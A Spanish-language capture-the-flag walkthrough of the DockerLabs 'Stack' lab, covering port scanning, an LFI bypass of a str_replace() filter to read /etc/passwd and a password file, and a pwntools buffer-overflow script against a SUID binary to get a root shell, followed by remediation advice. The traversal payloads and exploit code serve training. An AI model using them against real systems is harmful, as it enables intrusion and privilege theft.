Stack
Introducción
Sección titulada «Introducción»Este documento detalla la explotación completa de la máquina Stack, desarrollada por 4bytes para DockerLabs y clasificada con un nivel de dificultad Media.
El proceso se organiza en tres fases:
- Reconocimiento: Identificación de servicios expuestos, rutas accesibles y pistas filtradas.
- Explotación: Abuso de una vulnerabilidad LFI mal parcheada para obtener credenciales válidas.
- Escalada de privilegios: Explotación de un binario SUID vulnerable a buffer overflow para obtener una shell como
root.
Todo el compromiso se realizó dentro del entorno aislado proporcionado por DockerLabs.
Información General
Sección titulada «Información General»| Atributo | Valor |
|---|---|
| Nombre | Stack |
| Autor | 4bytes |
| Dificultad | Media |
| Fecha | 21/12/2024 |
| Plataforma | DockerLabs |
Paso 0 — Preparación y despliegue
Sección titulada «Paso 0 — Preparación y despliegue»unzip Stack.zipsudo bash auto_deploy.sh Stack.tar
Paso 1 — Reconocimiento
Sección titulada «Paso 1 — Reconocimiento»1.1 Organización del entorno
Sección titulada «1.1 Organización del entorno»mkdir -p Stack/{content,exploits,nmap,gobuster,scripts}cd Stack1.2 Escaneo de puertos
Sección titulada «1.2 Escaneo de puertos»nmap -p- --open -sS --min-rate 5000 -vvv -n 172.17.0.2 -oG allPortsextractPorts allPortsPuertos identificados:
- 22/tcp — SSH
- 80/tcp — HTTP

1.3 Enumeración HTTP (Puerto 80)
Sección titulada «1.3 Enumeración HTTP (Puerto 80)»Se realiza un escaneo inicial de rutas:
feroxbuster -u http://172.17.0.2 -d 0 \ -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-big.txt \ -x php,txt,html,js,bak,old \ -t 40 \ -C 404,403
Rutas relevantes encontradas:
-
/index Muestra una página en desarrollo, pero en el código fuente aparece una pista indicando que la contraseña de bob se encuentra en:
/usr/share/bob/password.txt
-
/file.php Página aparentemente protegida, presumiblemente relacionada con carga o lectura de archivos.
-
/note.txt Indica que existía una vulnerabilidad LFI que intentaron “corregir” con
str_replace(). Esto es un claro indicio de que el parche puede ser evadido.
Con esta información ya existe una cadena clara de explotación: LFI → lectura de credenciales → SSH.
Paso 2 — Explotación (Acceso inicial)
Sección titulada «Paso 2 — Explotación (Acceso inicial)»Sabemos que /file.php fue parchado de manera superficial usando str_replace(), lo cual suele ser insuficiente para evitar LFI.
Para validar vectores posibles, realizamos fuzzing con ffuf:
ffuf -u http://172.17.0.2/file.php?file=FUZZ \ -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt \ -fs 0El resultado confirma múltiples payloads válidos, lo que significa que la sanitización es débil.
Probamos un bypass clásico:
http://172.17.0.2/file.php?file=....//....//....//etc/passwdEl archivo se lee correctamente:

Solo existe el usuario bob, y ya sabemos que su contraseña está en el archivo filtrado en /index.
Procedemos a leer:
http://172.17.0.2/file.php?file=....//....//....//usr/share/bob/password.txtObtenemos la contraseña en texto plano y accedemos vía SSH:
ssh bob@172.17.0.2
Acceso inicial conseguido.
Paso 3 — Escalada de privilegios
Sección titulada «Paso 3 — Escalada de privilegios»3.1 De bob → root
Sección titulada «3.1 De bob → root»Buscamos binarios SUID:
find / -perm -4000 2>/dev/null
Destaca:
/opt/command_execAl ejecutarlo, solicita una contraseña, por lo que lo descargamos a nuestra máquina para analizarlo con Ghidra.
El main revela una vulnerabilidad de buffer overflow:

Resumen técnico:
char local_98[64]; // buffer para comandochar local_58[76]; // buffer vulnerable con gets()uint local_c; // variable que debe valer 0xdeadLa lógica exige que local_c == 0xdead para permitir ejecutar comandos.
Esto puede forzarse sobrescribiendo la variable mediante un overflow en local_58.
3.2 Explotación del overflow
Sección titulada «3.2 Explotación del overflow»Construimos un payload sencillo:
from pwn import *
context.binary = '/opt/command_exec'p = process('/opt/command_exec')
offset = 76payload = b'A' * offset + p32(0xdead)
p.sendline(payload)p.interactive()Instalamos pwntools y ejecutamos:
python3 script.pySalida:

Ahora podemos ejecutar comandos arbitrarios como root. Abrimos una shell:
/bin/bash
Escalada completada.
Fallos de Seguridad Identificados
Sección titulada «Fallos de Seguridad Identificados»- LFI mal parcheado usando únicamente
str_replace(). - Exposición de credenciales en rutas accesibles.
- Binario SUID vulnerable a buffer overflow.
- Mala práctica en desarrollo: uso de
gets()(inseguro, obsoleto y prohibido). - Falta de separación de privilegios entre usuarios.
Recomendaciones
Sección titulada «Recomendaciones»- Implementar una validación estricta de rutas para evitar LFI.
- Eliminar credenciales del código fuente y rutas públicas.
- Deshabilitar o revisar binarios SUID innecesarios.
- Reemplazar
gets()por funciones seguras (fgets()). - Configurar permisos mínimos necesarios para cada usuario.
- Revisar código antes de producción, especialmente en binarios con privilegios elevados.